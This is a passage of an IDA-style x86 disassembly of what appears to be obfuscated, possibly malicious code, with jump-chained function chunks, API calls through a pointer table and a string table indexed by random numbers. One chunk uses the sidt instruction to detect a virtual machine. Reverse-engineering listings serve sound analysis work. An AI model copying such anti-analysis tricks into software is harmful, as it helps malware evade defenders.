; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AF238:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:009B2B2Co ...
		lea	ecx, [edi-2]
		mov	[ebp-20h], ecx
		jmp	loc_9AED43
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF248:				; CODE XREF: sub_9B63D8-1B6Bj
		cmp	dword ptr [ebp-2130h], 0FFFFFFFFh
		jnz	loc_9AF94B
		jmp	loc_9AB6FC
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9AF25C	proc near		; CODE XREF: sub_9AF030+4F4Bp

; FUNCTION CHUNK AT 009AB474 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AB8CC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AB9C8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009ABBC0 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 009ABE44 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 009AC4E8 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 009ADBC4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B0B54 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B2618 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B33DB SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009B3B78 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3F50 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B4134 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B46B4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5344 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B6018 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B603C SIZE 0000002E BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA992
		push	offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	esi, [ebp+8]
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		mov	dword ptr [ebp-4], 0
		mov	ecx, esi
		call	sub_9B3150
		or	eax, eax
		jz	loc_9AB8D1
		jmp	loc_9ABBC0
sub_9AF25C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9AF2B4:				; CODE XREF: sub_9ABD30+42CFj
		push	[esp+0Ch+arg_8]
		pop	edx
		pop	edi
		mov	ecx, 1
		pop	esi
		mov	dword ptr [edx], 0
		push	ecx
		pop	eax
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AF2CC:				; CODE XREF: sub_9B0930+1767j
					; DATA XREF: .text:off_9B8904o
		push	off_9BADC4
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		mov	[edx+24h], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+24h]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9707
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF300:				; CODE XREF: sub_9B63D8-873Ej
					; DATA XREF: .text:off_9BAED1o
		mov	dword ptr [ecx], 1


loc_9AF306:				; CODE XREF: sub_9B63D8-8744j
		push	dword ptr [ebp-2150h]
		pop	edx
		push	dword ptr [ebp-2144h]
		pop	eax
		add	ebx, edx
		mov	[eax], ebx
		jmp	loc_9AF90B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2160


loc_9AF328:				; CODE XREF: sub_9B2160+49j
		xor	eax, eax
		push	13h
		pop	ecx
		mov	edi, esi
		rep stosd
		mov	[esi], ebx
		inc	ebx
		push	ebx
		pop	eax
		call	sub_9AF3E8
		mov	[esi+44h], eax
		push	ebx
		pop	eax
		call	sub_9AF3E8
		mov	[esi+48h], eax
		mov	edi, [esi+44h]
		and	edi, edi
		jz	loc_9B59DE
		jmp	loc_9B59CC
; END OF FUNCTION CHUNK	FOR sub_9B2160
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AF35C:				; CODE XREF: sub_9ADAC4+BF9j
		push	dword ptr [ebp-54h]
		pop	edi
		jmp	loc_9B5E5C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF368:				; CODE XREF: sub_9B63D8-2C2Bj
		sub	ebx, ebx
		mov	[ebp-2128h], ebx
		or	eax, 0FFFFFFFFh
		mov	[ebp-2124h], eax
		mov	[ebp-2130h], eax


loc_9AF37F:				; CODE XREF: sub_9B63D8-76CAj
		push	2000h
		pop	eax
		sub	eax, ebx
		cmp	eax, 400h
		jb	loc_9B1856
		jmp	loc_9B1850
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF398:				; CODE XREF: sub_9B1A08-457Cj
					; sub_9B1A08-3077j ...
		mov	esi, [ebp+var_41EC]
		push	esi
		pop	edi
		neg	edi
		sbb	edi, edi
		and	edi, 0FA0h
		add	edi, 3E8h
		mov	[ebp+var_41FC],	edi
		call	sub_9AB574
		mov	[ebp+var_420C],	eax
		cmp	eax, 0FFFFFFFFh
		jnz	loc_9B4444
		jmp	loc_9B606C
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9AF3D0:				; CODE XREF: sub_9B2F1C-D37j
					; DATA XREF: .text:off_9BA8F3o
		mov	[esi+eax], edi
		add	eax, 4
		mov	[ebp-1Ch], eax


loc_9AF3D9:				; CODE XREF: sub_9B2F1C-D3Dj
		test	bl, 20h
		jz	loc_9AF57D
		jmp	loc_9AF570
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AF3E8	proc near		; CODE XREF: sub_9ABF08+35p
					; sub_9B2160-2E2Ap ...

; FUNCTION CHUNK AT 009B51AC SIZE 00000014 BYTES

		or	eax, eax
		jnz	loc_9B51AF
		jmp	loc_9B51AC
sub_9AF3E8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AF3F8:				; CODE XREF: sub_9ACEE8-15A9j
		lea	edi, [ebp-0B0h]
		sub	eax, eax
		mov	ecx, 24h
		rep stosd
		stosw
		stosb


loc_9AF40A:				; CODE XREF: sub_9ACEE8-15AFj
					; sub_9ACEE8+2541j
		call	sub_9B45AC
		mov	ecx, 93h
		sub	edx, edx
		div	ecx
		push	edx
		pop	esi
		mov	[ebp-0E4h], esi
		mov	al, [esi+ebp-0B0h]
		and	al, al
		jnz	short loc_9AF40A
		jmp	loc_9AF51C
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF430:				; CODE XREF: sub_9B3864-2ADDj
					; DATA XREF: .text:off_9B96E8o
		mov	dl, [ebp+var_2024]
		and	dl, 1
		mov	[ebp+var_203D],	dl
		jnz	loc_9AD9F8
		jmp	off_9BAC67
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AF44C:				; CODE XREF: sub_9B0930+28F0j
					; DATA XREF: .text:off_9BADF8o
		push	off_9B98D1
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+48h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	dword ptr [eax+48h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B89E1
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF480:				; CODE XREF: sub_9B3864-86DAj
					; sub_9B3864-7E34j ...
		mov	ecx, [ebp+var_2044]
		mov	dword ptr [ecx], 0
		jmp	loc_9AE0D3
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD3EC


loc_9AF494:				; CODE XREF: sub_9AD3EC+50j
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ecx, edx
		mov	esi, edx
		and	ecx, 1Fh
		mov	edi, 1
		shr	esi, 5
		mov	[ebp-1Ch], eax
		lea	esi, [ebp+esi*4-30h]
		shl	edi, cl
		not	edi
		and	edi, [esi]
		mov	ebx, eax
		jmp	off_9B8C68
; END OF FUNCTION CHUNK	FOR sub_9AD3EC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AF4C4:				; CODE XREF: sub_9B03E8+5E55j
		push	ecx
		sidt	fword ptr [esp+8+var_A]
		pop	dword ptr [ebp-154h]
		push	dword ptr [ebp-154h]
		pop	eax
		cmp	eax, 0D0000000h
		ja	loc_9B6224
		jmp	loc_9B2AD4
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AF4E8:				; CODE XREF: sub_9ADDA4-1219j
		mov	[ebp+edi*4-27Ch], eax
		inc	edi
		mov	[ebp-30h], edi


loc_9AF4F3:				; CODE XREF: sub_9ADDA4-121Fj
		inc	ecx
		jmp	loc_9ADDD8
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9AF4FC:				; CODE XREF: sub_9AEC20+9Dj
					; DATA XREF: .text:off_9BAA9Do
		pop	ebx
		push	esi
		pop	ecx
		and	ebx, 7FFFFFFFh
		call	sub_9AEE5C
		and	eax, 7FFFFFFFh
		cmp	eax, ebx
		jbe	loc_9B3003
		jmp	loc_9B2FEC
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AF51C:				; CODE XREF: sub_9ACEE8+2543j
		inc	al
		mov	[esi+ebp-0B0h],	al
		lea	edx, [ebp-0C8h]
		push	edx
		lea	eax, [ebp-0CCh]
		push	eax
		push	off_9B9270
		mov	ecx, off_9B9A94[esi*4]
		push	ecx
		lea	edx, [ebp-0D0h]
		lea	ecx, [ebp-0D4h]
		call	sub_9B63D8
		mov	[ebp-0C0h], eax
		mov	ecx, [ebp-0CCh]
		cmp	ecx, 0C8h
		jb	loc_9ACAF8
		jmp	off_9B96E4
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9AF570:				; CODE XREF: sub_9B2F1C-3B3Aj
		push	dword ptr [ebp+24h]
		pop	edx
		mov	[esi+eax], edx
		add	eax, 4
		mov	[ebp-1Ch], eax


loc_9AF57D:				; CODE XREF: sub_9B2F1C-3B40j
		test	bl, 40h
		jz	loc_9B2310
		jmp	off_9B8DDF
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF960


loc_9AF58C:				; CODE XREF: sub_9AF960+1A05j
					; DATA XREF: .text:off_9B8FC4o
		push	edx
		pop	ecx
		shr	ecx, 2
		push	eax
		pop	esi
		rep movsd
		push	edx
		pop	ecx
		and	ecx, 3
		rep movsb
; END OF FUNCTION CHUNK	FOR sub_9AF960
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9AF59C:				; CODE XREF: sub_9B27D8-7473j
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9B8ED2
		call	dword ptr [eax+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	off_9B8ED2
		push	eax
		pop	esi
		call	dword ptr [edx+1Ch]
		push	esi
		pop	eax
		mov	ecx, 14h
		sub	edx, edx
		div	ecx
		and	edx, edx
		jnz	loc_9B01A7
		jmp	sub_9ADB10
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AF5E4	proc near		; CODE XREF: sub_9B27D8-746Dj
					; DATA XREF: .text:off_9BAC25o

; FUNCTION CHUNK AT 009AD704 SIZE 00000067 BYTES
; FUNCTION CHUNK AT 009AD8F4 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 009B09DC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B14B8 SIZE 00000012 BYTES

		push	ebx
		pop	edi
		dec	edi


loc_9AF5E7:				; CODE XREF: sub_9AF5E4+9j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_9AF5E7
		jmp	loc_9AD704
sub_9AF5E4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF960


loc_9AF5F4:				; CODE XREF: sub_9AF960+Dj
		mov	ecx, edx
		push	eax
		pop	esi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	offset dword_9BBE40
		call	dword ptr [eax+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	off_9B8ED2
		mov	esi, eax
		call	dword ptr [edx+1Ch]
		mov	eax, esi
		xor	edx, edx
		push	9
		pop	ecx
		div	ecx
		push	off_9BA804[edx*4]
		pop	edx
		mov	eax, edx


loc_9AF647:				; CODE XREF: sub_9AF960-314j
		mov	cl, [edx]
		inc	edx
		test	cl, cl
		jnz	short loc_9AF647
		jmp	loc_9B1358
; END OF FUNCTION CHUNK	FOR sub_9AF960
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AF654	proc near		; CODE XREF: sub_9AF25C-3DE6p
					; sub_9AF25C+545Ap

; FUNCTION CHUNK AT 009AEB6C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B06EB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B075C SIZE 00000048 BYTES
; FUNCTION CHUNK AT 009B2654 SIZE 0000001F BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8ED6
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp-18h], esp
		mov	[ebp-1Ch], eax
		mov	[ebp-4], eax
		mov	ecx, [edx]
		cmp	ecx, 340h
		jb	loc_9B06EB
		jmp	loc_9B075C
sub_9AF654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AF698	proc near		; CODE XREF: sub_9AB1A0+AAC1p
					; sub_9B0FD0+4D88p

; FUNCTION CHUNK AT 009AB82C SIZE 00000005 BYTES

		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		sub	eax, dword_9BEBD8
		cmp	eax, 2BF20h
		jbe	nullsub_8
		jmp	loc_9AB82C
sub_9AF698	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9AF6B8:				; CODE XREF: sub_9B5904-156Fj
		inc	eax
		jmp	loc_9B12A3
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF6C0:				; CODE XREF: sub_9B63D8-1526j
					; DATA XREF: .text:off_9BAAFDo
		mov	dword ptr [ebp-2134h], 1
		jmp	loc_9AF94B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AF6D0:				; CODE XREF: sub_9B0930+4306j
		push	off_9B97C1
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+40h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	dword ptr [eax+40h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8824
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9AF704	proc near		; CODE XREF: sub_9B03E8+27A0p

; FUNCTION CHUNK AT 009B2C44 SIZE 00000008 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B9020
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		sub	eax, eax
		mov	[ebp-1Ch], eax
		jmp	off_9B9534
sub_9AF704	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9AF738:				; CODE XREF: sub_9AE860-264Dj
		push	5Ch
		pop	ecx
		sub	edx, edx
		div	ecx
		push	edx
		pop	ecx
		push	5Ch
		pop	esi
		xor	edx, edx
		div	esi
		mov	[ebp+var_1C], edx
		mov	[ebp+var_20], ecx
		push	off_9BA1D0[ecx*4]
		pop	ecx
		mov	eax, [ebp+arg_8]
		push	eax
		pop	esi


loc_9AF75B:				; CODE XREF: sub_9AE860+F03j
		mov	bl, [ecx]
		mov	[esi], bl
		inc	ecx
		inc	esi
		and	bl, bl
		jnz	short loc_9AF75B
		jmp	off_9BA9FD
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF76C:				; CODE XREF: sub_9B3864-724Cj
					; DATA XREF: .text:off_9B9139o
		lea	edx, [ebp+var_203C]
		mov	[ebp+var_2054],	edx
		jmp	loc_9AEB96
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF780:				; CODE XREF: sub_9B1A08+386Cj
					; DATA XREF: .text:off_9BA488o
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		call	dword ptr [eax+30h]
		mov	[ebp+var_4204],	eax


loc_9AF792:				; CODE XREF: sub_9B1A08+3866j
		lea	esi, [esi+esi*4]
		shl	esi, 3
		lea	ecx, [esi+ebp-41DCh]
		push	[ebp+var_402C]
		pop	edx
		mov	[ecx], edx
		push	[ebp+var_4028]
		pop	eax
		mov	[ecx+4], eax
		mov	edx, [ebp+var_4024]
		mov	[ecx+8], edx
		push	[ebp+var_4020]
		pop	eax
		mov	[ecx+0Ch], eax
		lea	ecx, [esi+ebp-41CCh]
		mov	edx, [ebp+var_403C]
		mov	[ecx], edx
		push	[ebp+var_4038]
		pop	eax
		mov	[ecx+4], eax
		push	[ebp+var_4034]
		pop	edx
		mov	[ecx+8], edx
		push	[ebp+var_4030]
		pop	eax
		mov	[ecx+0Ch], eax
		mov	eax, edi
		mov	[esi+ebp-41B8h], edi
		call	sub_9AF3E8
		jmp	loc_9AB158
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF808:				; CODE XREF: sub_9B3864-6674j
		and	edx, edx
		jnz	loc_9B0D78
		jmp	off_9B9260
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AF818:				; CODE XREF: sub_9B0930+3118j
		push	off_9BAD5D
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		mov	[edx+3Ch], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+3Ch]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA7E1
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AF858:				; CODE XREF: sub_9AB1A0+2B35j
					; DATA XREF: .text:off_9BA3F8o
		call	sub_9B45AC
		sub	edx, edx
		div	dword ptr [ebp-30h]
		test	edx, edx
		jnz	loc_9B5B2C
		jmp	loc_9AC030
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AF870:				; CODE XREF: sub_9B3864-7E2Ej
		mov	eax, [ebp+var_2020]
		or	eax, eax
		jz	loc_9B3D6C
		jmp	loc_9AF480
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9AF884:				; CODE XREF: sub_9AD97C+28A2j
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp-1Ch]
		push	edx
		call	dword ptr [eax+1Ch]
		or	eax, eax
		jnz	loc_9AC18B
		jmp	off_9B9E44
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0D34


loc_9AF8A8:				; CODE XREF: sub_9B0D34+1Aj
		mov	ecx, dword_9BCB74
		mov	eax, [esp+arg_4]
		mov	edx, [ecx+10h]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		push	esi
		call	dword ptr [edx+44h]
		or	eax, eax
		jge	loc_9B2D84
		jmp	loc_9B19BC
; END OF FUNCTION CHUNK	FOR sub_9B0D34
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AF8D0:				; CODE XREF: sub_9B1D80-4B62j
		push	edx
		call	sub_9AFCA0
		add	esp, 4
		test	eax, eax
		jz	loc_9B1D5B
		jmp	loc_9ADE34
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AE400


loc_9AF8E8:				; CODE XREF: sub_9AE400+39j
		push	[ebp+arg_4]
		pop	eax
		push	eax
		push	[ebp+arg_0]
		pop	ecx
		push	ecx
		call	sub_9A5033
		add	esp, 8
		and	eax, eax
		jz	loc_9B43AB
		jmp	loc_9AE1B8
; END OF FUNCTION CHUNK	FOR sub_9AE400
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF90B:				; CODE XREF: sub_9B63D8-76A4j
					; sub_9B63D8-70C0j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-2134h]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1584


loc_9AF938:				; CODE XREF: sub_9B1584+91j
					; DATA XREF: .text:off_9B9DF7o
		push	esi
		call	sub_9ABE84
		inc	esi
		jmp	loc_9B1609
; END OF FUNCTION CHUNK	FOR sub_9B1584
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF944:				; CODE XREF: sub_9B63D8-B30Ej
					; sub_9B63D8-AE16j ...
		push	dword ptr [ebp-2128h]
		pop	ebx


loc_9AF94B:				; CODE XREF: sub_9B63D8:loc_9AB5D0j
					; sub_9B63D8-ACD2j ...
		mov	eax, [ebp-2138h]
		or	eax, eax
		jz	loc_9AE7BE
		jmp	loc_9AB2C8
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AF960	proc near		; CODE XREF: sub_9AF5E4-1C95j
					; DATA XREF: .text:off_9B8945o

; FUNCTION CHUNK AT 009AF58C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009AF5F4 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 009B1358 SIZE 00000013 BYTES

		push	ebx
		pop	edi
		sub	edx, eax
		dec	edi


loc_9AF965:				; CODE XREF: sub_9AF960+Bj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_9AF965
		jmp	loc_9AF5F4
sub_9AF960	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9AF974:				; CODE XREF: sub_9B43F4-6E9Dj
		mov	edx, [ebp+18h]
		push	edx
		push	edi
		push	dword ptr [ebp+10h]
		pop	eax
		push	eax
		movzx	ecx, word ptr [ebx+1Ah]
		mov	edx, [ebx+1Ch]
		push	edx
		call	sub_9ACF9C
		jmp	loc_9ACEAF
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF990:				; CODE XREF: sub_9B1A08-28E3j
					; DATA XREF: .text:off_9B9300o
		call	sub_9AC448
		mov	dword ptr [esi], 0


loc_9AF99B:				; CODE XREF: sub_9B1A08-28E9j
		inc	edi
		mov	[ebp+var_41E8],	edi
		jmp	loc_9B17D5
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AF9A8:				; CODE XREF: sub_9B1A08+2EE3j
					; DATA XREF: .text:off_9BAF63o
		test	al, 10h
		jz	loc_9B16BE
		jmp	loc_9AD5C8
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AF9B8:				; CODE XREF: sub_9B03E8+55j
		xor	edi, edi
		jmp	loc_9B620A
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9AF9C3:				; CODE XREF: sub_9B3FF8-8D74j
					; sub_9B3FF8-176Dj
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_1C]
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AF9E0:				; CODE XREF: sub_9B63D8-64DFj
		mov	cl, [ebp-2115h]
		cmp	cl, 30h
		jl	loc_9AF944
		jmp	loc_9B5E4C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AF9F4:				; CODE XREF: sub_9ADAC4+5656j
		inc	eax
		jmp	loc_9AD654
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AF9FC:				; CODE XREF: sub_9ADAC4+4768j
		push	0
		lea	eax, [ebp-5Ch]
		lea	esi, [ebp-2Ch]
		xor	edx, edx
		call	sub_9B1334
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax+10h]
		lea	edx, [ebp-5Ch]
		push	edx
		mov	eax, esi
		push	eax
		push	ebx
		call	dword ptr [ecx+14h]
		push	eax
		pop	edi
		mov	[ebp-88h], edi
		or	edi, edi
		jz	loc_9AE6B5
		jmp	loc_9B2AF8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2118


